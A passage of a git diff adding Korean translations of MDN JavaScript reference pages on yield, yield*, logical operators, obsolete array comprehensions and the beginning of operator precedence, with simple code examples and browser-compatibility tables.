+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>IteratorResult</code> object instead of throwing</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("29.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li>Starting with Gecko 29 {{geckoRelease(29)}}, the completed generator function no longer throws a {{jsxref("TypeError")}} "generator has already finished". Instead, it returns an <code>IteratorResult</code> object like <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</li>
+ <li>Starting with Gecko 33 {{geckoRelease(33)}}, the parsing of the <code>yield</code> expression has been updated to conform with the latest ES6 specification ({{bug(981599)}}):
+  <ul>
+   <li>The expression after the <code>yield</code> keyword is optional and omitting it no longer throws a {{jsxref("SyntaxError")}}: <code>function* foo() { yield; }</code></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/yield_star_/index.html b/files/ko/web/javascript/reference/operators/yield_star_/index.html
new file mode 100644
index 0000000000..3bbb10146d
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/yield_star_/index.html
@@ -0,0 +1,164 @@
+---
+title: yield*
+slug: Web/JavaScript/Reference/Operators/yield*
+tags:
+  - ECMAScript 2015
+  - Generators
+  - Iterable
+  - Iterator
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/yield*
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>yield*</code> 표현식</strong>은 다른 {{jsxref("Statements/function*", "generator")}} 또는 이터러블(iterable) 객체에 yield를 위임할 때 사용됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-yieldasterisk.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">yield* [[<em>expression</em>]];</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>이터러블(iterable) 객체를 반환하는 표현식.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>yield* 표현은 피연산자를 반복하고 반환되는 값을 yield합니다.</p>
+
+<p>yield* 표현 자체의 값은 반복자(iterator)가 종료될 때 반환되는 값입니다. (i.e., done이 true일 때)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="다른_생성기(generator)에_위임하기">다른 생성기(generator)에 위임하기</h3>
+
+<p>다음 코드는, next() 호출을 통해 g1()으로부터 yield 되는 값을 g2()에서 yield 되는 것처럼 만듭니다.</p>
+
+<pre class="brush: js">function* g1() {
+  yield 2;
+  yield 3;
+  yield 4;
+}
+
+function* g2() {
+  yield 1;
+  yield* g1();
+  yield 5;
+}
+
+var iterator = g2();
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: 3, done: false }
+console.log(iterator.next()); // { value: 4, done: false }
+console.log(iterator.next()); // { value: 5, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+</pre>
+
+<h3 id="다른_이터러블(iterable)_객체">다른 이터러블(iterable) 객체</h3>
+
+<p>생성기 객체 말고도, yield*는 다른 반복 가능한 객체도 yield 할 수 있습니다. e.g. 배열, 문자열 또는 arguments 객체</p>
+
+<pre class="brush: js">function* g3() {
+  yield* [1, 2];
+  yield* "34";
+  yield* Array.from(arguments);
+}
+
+var iterator = g3(5, 6);
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: "3", done: false }
+console.log(iterator.next()); // { value: "4", done: false }
+console.log(iterator.next()); // { value: 5, done: false }
+console.log(iterator.next()); // { value: 6, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+</pre>
+
+<h3 id="yield*_표현_자체의_값"><code>yield*</code> 표현 자체의 값</h3>
+
+<p><code>yield*</code> 는 구문이 아닌 표현입니다. 따라서 값으로 평가됩니다.</p>
+
+<pre class="brush: js">function* g4() {
+  yield* [1, 2, 3];
+  return "foo";
+}
+
+var result;
+
+function* g5() {
+  result = yield* g4();
+}
+
+var iterator = g5();
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: 3, done: false }
+console.log(iterator.next()); // { value: undefined, done: true },
+                              // g4() 는 여기서 { value: "foo", done: true }를 반환합니다
+
+console.log(result);          // "foo"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator-function-definitions-runtime-semantics-evaluation', 'Yield')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator-function-definitions-runtime-semantics-evaluation', 'Yield')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.yield_star")}}</p>
+
+<h2 id="Firefox에_한정된_내용">Firefox에 한정된 내용</h2>
+
+<ul>
+ <li>Gecko 33 {{geckoRelease(33)}} 부터, yield 표현 구문 분석이 최신 ES6 표준에 맞추도록 업데이트 되었습니다 ({{bug(981599)}}):
+  <ul>
+   <li>개행 제한이 이제 구현되었습니다. 개행이 없는 "yield" 와 "*"만 인정됩니다. 다음과 같은 코드는 {{jsxref("SyntaxError")}}를 발생시킵니다:
+    <pre class="brush: js">function* foo() {
+  yield
+  *[];
+}</pre>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/논리_연산자(logical_operators)/index.html b/files/ko/web/javascript/reference/operators/논리_연산자(logical_operators)/index.html
new file mode 100644
index 0000000000..2e1140eed5
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/논리_연산자(logical_operators)/index.html
@@ -0,0 +1,249 @@
+---
+title: 논리 연산자
+slug: Web/JavaScript/Reference/Operators/논리_연산자(Logical_Operators)
+tags:
+  - JavaScript
+  - Logic
+  - Not
+  - Operator
+  - Reference
+  - and
+  - or
+  - 논리
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>논리 연산자는 보통 {{jsxref("Boolean")}}(논리적) 값과 함께 쓰이며, 불리언 값을 반환합니다. 그런데, <code>&amp;&amp;</code>과 <code>||</code> 연산자는 사실 피연산자 중 하나의 값을 반환합니다. 그러므로 불리언 외의 다른 값과 함께 사용하면 불리언 값이 아닌 것을 반환할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-logicaloperator.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p>다음 표는 논리 연산자의 종류입니다. (<code><em>expr</em></code>은 불리언을 포함해서 아무 자료형이나 가능합니다)</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>연산자</th>
+   <th>구문</th>
+   <th>설명</th>
+  </tr>
+  <tr>
+   <td>논리 AND (<code>&amp;&amp;</code>)</td>
+   <td><code><em>expr1</em> &amp;&amp; <em>expr2</em></code></td>
+   <td><code>expr1</code>을 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">true</span></font>로 변환할 수 있는 경우 <code>expr2</code>을 반환하고, 그렇지 않으면 <code>expr1</code>을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td>논리 OR (<code>||</code>)</td>
+   <td><code><em>expr1</em> || <em>expr2</em></code></td>
+   <td>
+    <p><code>expr1</code>을 <code>true</code>로 변환할 수 있으면 <code>expr1</code>을 반환하고, 그렇지 않으면 <code>expr2</code>를 반환합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>논리 NOT (<code>!</code>)</td>
+   <td><code>!<em>expr</em></code></td>
+   <td>단일 피연산자를 <code>true</code>로 변환할 수 있으면 <code>false</code>를 반환합니다. 그렇지 않으면 <code>true</code>를 반환합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>값을 <code>true</code>로 변환하면 값이 {{Glossary("truthy", "참")}}인 것입니다.<br>
+ 값을 <code>false</code>로 변환할 수 있으면 값이 {{Glossary("falsy", "거짓")}}인 것입니다.</p>
+
+<p>거짓으로 변환할 수 있는 표현의 예는 다음과 같습니다.</p>
+
+<ul>
+ <li><code>null</code></li>
+ <li><code>NaN</code></li>
+ <li><code>0</code></li>
+ <li>빈 문자열 (<code>"",</code> <code>''</code>, <code>``</code>)</li>
+ <li><code>undefined</code></li>
+</ul>
+
+<p><code>&amp;&amp;</code> 연산자와 <code>||</code> 연산자를 불리언 값이 아닌 피연산자와 함께 사용될 수 있지만, 반환 값을 항상 <a href="/ko/docs/Web/JavaScript/Data_structures#Boolean_%ED%83%80%EC%9E%85">불리언 원시값</a>으로 변환할 수 있으므로 불리언 연산자로 생각할 수 있습니다. 반환 값을 직접 불리언으로 바꾸려면 {{jsxref("Boolean")}} 함수나 이중 부정 연산자를 사용하세요.</p>
+
+<h3 id="단락_평가">단락 평가</h3>
+
+<p>논리 표현식을 좌측부터 평가하므로, 아래 규칙에 따라 단락(short-circuit) 평가를 수행합니다.</p>
+
+<ul>
+ <li><code>(거짓 표현식) &amp;&amp; expr</code>은 거짓 표현식으로 단락 평가됩니다.</li>
+ <li><code>(참 표현식) || expr</code>은 참 표현식으로 단락 평가됩니다.</li>
+</ul>
+
+<p>"단락"이란, 위 규칙에서 <code>expr</code>을 평가하지 않는다는 뜻입니다. 따라서 평가 중 발생해야 할 부작용(예: <code>expr</code>이 함수 호출이면 절대 호출하지 않음)도 나타나지 않습니다. 단락 평가가 발생하는 원인은 첫 번째 피연산자를 평가한 순간 이미 연산자의 결과가 정해지기 때문입니다. 다음 예제를 살펴보세요.</p>
+
+<pre>function A(){ console.log('A 호출'); return false; }
+function B(){ console.log('B 호출'); return true; }
+
+console.log( A() &amp;&amp; B() );
+// 함수 호출로 인해 콘솔에 "A 호출" 기록
+// 그 후 연산자의 결과값인 "false" 기록
+
+console.log( B() || A() );
+// 함수 호출로 인해 콘솔에 "B 호출" 기록
+// 그 후 연산자의 결과인 "true" 기록
+</pre>
+
+<h3 id="연산자_우선순위">연산자 우선순위</h3>
+
+<p>다음 두 식은 똑같아 보이지만, <code>&amp;&amp;</code> 연산자는 <code>||</code> 이전에 실행되므로 서로 다릅니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">연산자 우선순위</a>를 참고하세요.</p>
+
+<pre class="brush: js">true || false &amp;&amp; false      // returns true, because &amp;&amp; is executed first
+(true || false) &amp;&amp; false    // returns false, because operator precedence cannot apply</pre>
+
+<h3 id="논리_AND_()"><a name="Logical_AND">논리 AND (<code>&amp;&amp;</code>)</a></h3>
+
+<p>다음은 <code>&amp;&amp;</code>(논리 AND) 연산자의 예제입니다.</p>
+
+<pre class="brush: js">a1 = true  &amp;&amp; true       // t &amp;&amp; t returns true
+a2 = true  &amp;&amp; false      // t &amp;&amp; f returns false
+a3 = false &amp;&amp; true       // f &amp;&amp; t returns false
+a4 = false &amp;&amp; (3 == 4)   // f &amp;&amp; f returns false
+a5 = 'Cat' &amp;&amp; 'Dog'      // t &amp;&amp; t returns "Dog"
+a6 = false &amp;&amp; 'Cat'      // f &amp;&amp; t returns false
+a7 = 'Cat' &amp;&amp; false      // t &amp;&amp; f returns false
+a8 = ''    &amp;&amp; false      // f &amp;&amp; f returns ""
+a9 = false &amp;&amp; ''         // f &amp;&amp; f returns false</pre>
+
+<h3 id="논리_OR_()"><a name="Logical_OR">논리 OR (<code>||</code>)</a></h3>
+
+<p>다음은 <code>||</code>(논리 OR) 연산자의 예제입니다.</p>
+
+<pre class="brush: js">o1 = true  || true       // t || t returns true
+o2 = false || true       // f || t returns true
+o3 = true  || false      // t || f returns true
+o4 = false || (3 == 4)   // f || f returns false
+o5 = 'Cat' || 'Dog'      // t || t returns "Cat"
+o6 = false || 'Cat'      // f || t returns "Cat"
+o7 = 'Cat' || false      // t || f returns "Cat"
+o8 = ''    || false      // f || f returns false
+o9 = false || ''         // f || f returns ""
+o10 = false || varObject // f || object returns varObject
+</pre>
+
+<h3 id="논리_NOT_(!)"><a name="Logical_NOT">논리 NOT (<code>!</code>)</a></h3>
+
+<p>다음은 <code>!</code>(논리 NOT) 연산자의 예제입니다.</p>
+
+<pre class="brush: js">n1 = !true               // !t returns false
+n2 = !false              // !f returns true
+n3 = !''                 // !f returns true
+n4 = !'Cat'              // !t returns false
+</pre>
+
+<h4 id="이중_NOT_(!!)">이중 NOT (<code>!!</code>)</h4>
+
+<p>NOT 연산자 다수를 연속해서 사용하면 아무 값이나 불리언 원시값으로 강제 변환할 수 있습니다. 변환 결과는 피연산자 값의 "참스러움"이나 "거짓스러움"에 따릅니다. ({{Glossary("truthy", "참")}}과 {{Glossary("falsy", "거짓")}}을 참고하세요)</p>
+
+<p>동일한 변환을 {{jsxref("Boolean")}} 함수로도 수행할 수 있습니다.</p>
+
+<pre class="brush: js">n1 = !!true                   // !!truthy returns true
+n2 = !!{}                     // !!truthy returns true: any object is truthy...
+n3 = !!(new Boolean(false))   // ...even Boolean objects with a false .valueOf()!
+n4 = !!false                  // !!falsy returns false
+n5 = !!""                     // !!falsy returns false
+n6 = !!Boolean(false)         // !!falsy returns false
+</pre>
+
+<h3 id="불리언_변환_규칙">불리언 변환 규칙</h3>
+
+<h4 id="AND에서_OR로_변환">AND에서 OR로 변환</h4>
+
+<p>불리언 계산에서, 다음 두 코드는 항상 같습니다.</p>
+
+<pre class="brush: js">bCondition1 &amp;&amp; bCondition2
+</pre>
+
+<pre class="brush: js">!(!bCondition1 || !bCondition2)</pre>
+
+<h4 id="OR에서_AND로_변환">OR에서 AND로 변환</h4>
+
+<p>불리언 계산에서, 다음 두 코드는 항상 같습니다.</p>
+
+<pre class="brush: js">bCondition1 || bCondition2
+</pre>
+
+<pre class="brush: js">!(!bCondition1 &amp;&amp; !bCondition2)</pre>
+
+<h4 id="NOT_간_변환">NOT 간 변환</h4>
+
+<p>불리언 계산에서, 다음 두 코드는 항상 같습니다.</p>
+
+<pre class="brush: js">!!bCondition
+</pre>
+
+<pre class="brush: js">bCondition</pre>
+
+<h3 id="중첩_괄호_제거">중첩 괄호 제거</h3>
+
+<p>논리 표현식은 항상 왼쪽에서 오른쪽으로 평가되므로, 몇 가지 규칙을 따르면 복잡한 표현식에서 괄호를 제거할 수 있습니다.</p>
+
+<h4 id="중첩_AND_제거">중첩 AND 제거</h4>
+
+<p>불리언의 합성 계산에서, 다음 두 코드는 항상 같습니다.</p>
+
+<pre class="brush: js">bCondition1 || (bCondition2 &amp;&amp; bCondition3)
+</pre>
+
+<pre class="brush: js">bCondition1 || bCondition2 &amp;&amp; bCondition3</pre>
+
+<h4 id="중첩_OR_제거">중첩 OR 제거</h4>
+
+<p>불리언의 합성 계산에서, 다음 두 코드는 항상 같습니다.</p>
+
+<pre class="brush: js">bCondition1 &amp;&amp; (bCondition2 || bCondition3)
+</pre>
+
+<pre class="brush: js">!(!bCondition1 || !bCondition2 &amp;&amp; !bCondition3)</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.11')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.9">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.11">Binary Logical Operators</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-binary-logical-operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-logical-operators">Binary Logical Operators</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-binary-logical-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://tc39.github.io/ecma262/#sec-logical-not-operator">Logical NOT Operator</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-logical-operators">Binary Logical Operators</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.logical")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">비트 연산자</a></li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{Glossary("truthy", "참")}}</li>
+ <li>{{Glossary("falsy", "거짓")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/배열/index.html b/files/ko/web/javascript/reference/operators/배열/index.html
new file mode 100644
index 0000000000..4bdd29b61c
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/배열/index.html
@@ -0,0 +1,200 @@
+---
+title: 배열 내포
+slug: Web/JavaScript/Reference/Operators/배열
+tags:
+  - JavaScript
+  - Non-standard
+  - Obsolete
+  - Operator
+  - Reference
+translation_of: Archive/Web/JavaScript/Array_comprehensions
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div class="warning"><strong>표준이 아닙니다. 사용하지 않는 것을 권장합니다!</strong><br>
+Array comprehensions 문법은 비표준이며 Firefox 58부터는 제거됩니다. 향후 사용할 수 없게 되기 때문에 사용하지 않는것을 고려해보세요.<br>
+{{jsxref("Array.prototype.map")}}, {{jsxref("Array.prototype.filter")}}, {{jsxref("Functions/Arrow_functions", "arrow functions", "", 1)}}, and {{jsxref("Operators/Spread_operator", "spread syntax", "", 1)}}.</div>
+
+<div>{{Obsolete_Header(58)}}</div>
+
+<p><strong>array comprehension </strong>문법은 기존의 배열을 기반으로 새로운 배열을 신속하게 어셈블 할 수 있는 JavaScript 표현식입니다. 그러나 표준 및 Firefox 구현에서 제거되었습니다. 사용하지 마세요!</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">[for (x of iterable) x]
+[for (x of iterable) if (condition) x]
+[for (x of iterable) for (y of iterable) x + y]
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>배열의 이해로 넘어가서, 다음 두가지의 요소들이 사용가능하다.</p>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}} and</li>
+ <li>{{jsxref("Statements/if...else", "if")}}</li>
+</ul>
+
+<p>for-of 반복문은 항상 첫번째 요소이다. 여러개의 for-of 반복문이나 if 제어문을 사용할 수 있다.</p>
+
+<p>배열 선언은 ECMAScript 2016에서 이전부터 표준으로 정립되어왔으며, 이는 다른 형태의 데이터(contents)를 이용해서 새로운 배열을 구성할 수 있게 해 준다.</p>
+
+<p>아래의 선언은 숫자로 이루어진 배열 내 각각의 숫자들을 이용해서 double형의 새로운 배열을 만들어준다.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3, 4];
+var doubled = [for (i of numbers) i * 2];
+console.log(doubled); // logs 2,4,6,8
+</pre>
+
+<p>이것은 {{jsxref("Array.prototype.map", "map()")}} 연산자와 같은 기능을 한다.</p>
+
+<pre class="brush: js">var doubled = numbers.map(i =&gt; i * 2);
+</pre>
+
+<p>배열들은 또한 다양한 표현을 통해 몇몇개의 배열 원소들은 선택할 수 도 있다. 아래의 예제는 바로 홀수만 선택하는 예제이다.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3, 21, 22, 30];
+var evens = [for (i of numbers) if (i % 2 === 0) i];
+console.log(evens); // logs 2,22,30
+</pre>
+
+<p>{{jsxref("Array.prototype.filter", "filter()")}} 또한 같은 목적으로 얼마든지 사용가능하다.</p>
+
+<pre class="brush: js">var evens = numbers.filter(i =&gt; i % 2 === 0);
+</pre>
+
+<p>{{jsxref("Array.prototype.map", "map()")}} 그리고 {{jsxref("Array.prototype.filter", "filter()")}} 스타일과 같은 연산자들은 단한 배열 선언과 결합할 수 있다. 아래는 짝수만 필터링하고, 그 원소들을 2배씩하는 배열들을 만드는 예제이다.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3, 21, 22, 30];
+var doubledEvens = [for (i of numbers) if (i % 2 === 0) i * 2];
+console.log(doubledEvens); // logs 4,44,60
+</pre>
+
+<p>배열에서의 [ ] (꺽쇠괄호) 는 범위의 목적으로 암시적인 괄호를 의미한다. {{jsxref("Statements/let","let")}}를 사용하면서 정의된다면, 예제의 i와 같은 변수들이 사용된다. 이는 배열 밖에서 사용할 수 없음을 나타낸다.</p>
+
+<p>배열의 원소에 넣어지는 것은 굳이 배열일 필요는 없다 <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators" title="en-US/docs/JavaScript/Guide/Iterators and Generators">iterators and generators</a> 물론 가능하다.</p>
+
+<p>심지어 문자열도 배열의 원소로 넣을 수 있다. 필터와 지도 액션과 같은 데에 이용할 수 있다.</p>
+
+<pre class="brush: js">var str = 'abcdef';
+var consonantsOnlyStr = [for (c of str) if (!(/[aeiouAEIOU]/).test(c)) c].join(''); // 'bcdf'
+var interpolatedZeros = [for (c of str) c + '0' ].join(''); // 'a0b0c0d0e0f0'
+</pre>
+
+<p>또한 입력 폼이 유지되지 않으므로, 문자열을 뒤집기 위해 {{jsxref("Array.prototype.join", "join()")}} 를 사용해야 한다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="단순_배열">단순 배열</h3>
+
+<pre class="brush:js">[for (i of [1, 2, 3]) i * i ];
+// [1, 4, 9]
+
+var abc = ['A', 'B', 'C'];
+[for (letters of abc) letters.toLowerCase()];
+// ["a", "b", "c"]</pre>
+
+<h3 id="if문에서의_배열">if문에서의 배열</h3>
+
+<pre class="brush: js">var years = [1954, 1974, 1990, 2006, 2010, 2014];
+[for (year of years) if (year &gt; 2000) year];
+// [ 2006, 2010, 2014 ]
+[for (year of years) if (year &gt; 2000) if (year &lt; 2010) year];
+// [ 2006], the same as below:
+[for (year of years) if (year &gt; 2000 &amp;&amp; year &lt; 2010) year];
+// [ 2006]
+</pre>
+
+<h3 id="map과_filter를_비교한_배열">map과 filter를 비교한 배열</h3>
+
+<p>배열문법을 가장 쉽게 이해하는 방법은, 배열에서 {{jsxref("Array.map", "map")}} 그리고 {{jsxref("Array.filter", "filter")}}메소드를 비교하는 것이다.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3];
+
+numbers.map(function (i) { return i * i });
+numbers.map(i =&gt; i * i);
+[for (i of numbers) i * i];
+// all are [1, 4, 9]
+
+numbers.filter(function (i) { return i &lt; 3 });
+numbers.filter(i =&gt; i &lt; 3);
+[for (i of numbers) if (i &lt; 3) i];
+// all are [1, 2]
+</pre>
+
+<h3 id="2개의_배열">2개의 배열</h3>
+
+<p>2개의 배열과 2개의 for-of 반복문을 살펴본다.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3];
+var letters = ['a', 'b', 'c'];
+
+var cross = [for (i of numbers) for (j of letters) i + j];
+// ["1a", "1b", "1c", "2a", "2b", "2c", "3a", "3b", "3c"]
+
+var grid = [for (i of numbers) [for (j of letters) i + j]];
+// [
+//  ["1a", "1b", "1c"],
+//  ["2a", "2b", "2c"],
+//  ["3a", "3b", "3c"]
+// ]
+
+[for (i of numbers) if (i &gt; 1) for (j of letters) if(j &gt; 'a') i + j]
+// ["2b", "2c", "3b", "3c"], the same as below:
+
+[for (i of numbers) for (j of letters) if (i &gt; 1) if(j &gt; 'a') i + j]
+// ["2b", "2c", "3b", "3c"]
+
+[for (i of numbers) if (i &gt; 1) [for (j of letters) if(j &gt; 'a') i + j]]
+// [["2b", "2c"], ["3b", "3c"]], not the same as below:
+
+[for (i of numbers) [for (j of letters) if (i &gt; 1) if(j &gt; 'a') i + j]]
+// [[], ["2b", "2c"], ["3b", "3c"]]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<p>ECMAScript 2015 초안에 있었지만 개정 27(2014년 8월)에서 삭제되었습니다. specification semantics에 대해서는 ES2015의 이전 버전을 참조하세요.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("javascript.operators.array_comprehensions")}}</p>
+
+<h2 id="오래된_JS1.7JS1.8_comprehensions과의_차이점들">오래된 JS1.7/JS1.8 comprehensions과의 차이점들</h2>
+
+<div class="warning">Gecko에서 JS1.7 / JS1.8 comprehensions가 46 버전부터 제거되었습니다. ({{bug(1220564)}}).</div>
+
+<p><strong>이전에 사용된 문법입니다. (더 이상 사용되지 않음!):</strong></p>
+
+<pre class="brush: js example-bad">[X for (Y in Z)]
+[X for each (Y in Z)]
+[X for (Y of Z)]
+</pre>
+
+<p>차이점:</p>
+
+<ul>
+ <li>ESNext comprehensions는 전체comprehension 대신 "for"노드마다 하나의 범위를 만듭니다.
+  <ul>
+   <li>Old: <code>[()=&gt;x for (x of [0, 1, 2])][1]() // 2</code></li>
+   <li>New: <code>[for (x of [0, 1, 2]) ()=&gt;x][1]() // 1, each iteration creates a fresh binding for x. </code></li>
+  </ul>
+ </li>
+ <li>ESNext comprehensions은 assignment expression대신 "for"로 시작합니다.
+  <ul>
+   <li>Old: <code>[i * 2 for (i of numbers)]</code></li>
+   <li>New: <code>[for (i of numbers) i * 2]</code></li>
+  </ul>
+ </li>
+ <li>ESNext comprehensions는 <code>if</code> 및 <code>for</code> 구성 요소를 여러 개 가질 수 있습니다.</li>
+ <li>ESNext comprehensions <code>{{jsxref("Statements/for...of", "for...of")}}</code>에서만 동작하고 <code>{{jsxref("Statements/for...in", "for...in")}}</code>에서는 동작하지 않습니다.</li>
+</ul>
+
+<p>버그 업데이트에 대한 제안은 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1220564#c42">Bug 1220564, comment 42</a>를 참조하세요.</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}}</li>
+ <li>{{jsxref("Operators/Generator_comprehensions", "Generator comprehensions", "" ,1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/연산자_우선순위/index.html b/files/ko/web/javascript/reference/operators/연산자_우선순위/index.html
new file mode 100644
index 0000000000..7a82346d09
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/연산자_우선순위/index.html
@@ -0,0 +1,462 @@
+---
+title: 연산자 우선순위
+slug: Web/JavaScript/Reference/Operators/연산자_우선순위
+tags:
+  - JavaScript
+  - Operator
+  - 연산자
+  - 우선순위
+translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>연산자 우선순위</strong>는 연산자를 실행하는 순서를 결정합니다. 우선순위가 높은 연산자가 먼저 실행됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-operatorprecedence.html")}}</div>
+
+
+
+<h2 id="우선순위와_결합성">우선순위와 결합성</h2>
+
+<p>아래와 같이 표현할 수 있는 표현식을 생각해 봅시다. 연산자<sub>1</sub>과 연산자<sub>2</sub>의 자리에는 아무 연산자를 넣을 수 있습니다.</p>
+
+<pre class="syntaxbox">a 연산자<sub>1</sub> b 연산자<sub>2</sub> c</pre>
+
+<p>두 연산자의 우선순위(아래 표 참조)가 다를 경우, 우선순위가 높은 연산자가 먼저 실행되고 결합성은 영향을 미치지 않습니다. 아래 예제에서는 덧셈이 곱셈보다 먼저 쓰였음에도 곱셈의 우선순위가 높기 때문에 먼저 실행됩니다.</p>
+
+<pre class="brush: js">console.log(3 + 10 * 2);   // 23을 출력
+console.log(3 + (10 * 2)); // 23을 출력, 괄호는 불필요함
+console.log((3 + 10) * 2); // 26을 출력, 괄호로 인해 실행 순서가 바뀜
+</pre>
+
